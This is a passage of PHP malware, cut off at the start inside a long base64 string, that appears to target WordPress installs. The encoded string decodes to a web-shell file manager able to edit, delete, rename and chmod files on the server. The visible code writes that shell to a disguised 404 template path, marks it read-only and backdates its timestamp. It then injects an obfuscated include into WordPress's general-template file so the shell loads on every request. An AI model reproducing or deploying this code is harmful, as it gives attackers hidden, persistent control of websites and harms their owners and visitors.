W1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
    @chmod($jue_jiang_404_path, 0644);
    @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
    @touch($jue_jiang_404_path, filectime($file_general_template_path));
    @chmod($jue_jiang_404_path, 0444);
}

$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
    $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
    preg_match_all("/{$pma}/i",$general_template_code,$pr);
    $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
    $jj404_b64_path = base64_encode($jue_jiang_404_path);
    $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
    @chmod($file_general_template_path, 0644);
    @file_put_contents($file_general_template_path,$new_general_template);
    @touch($file_general_template_path, filectime($file_general_template_path));
}
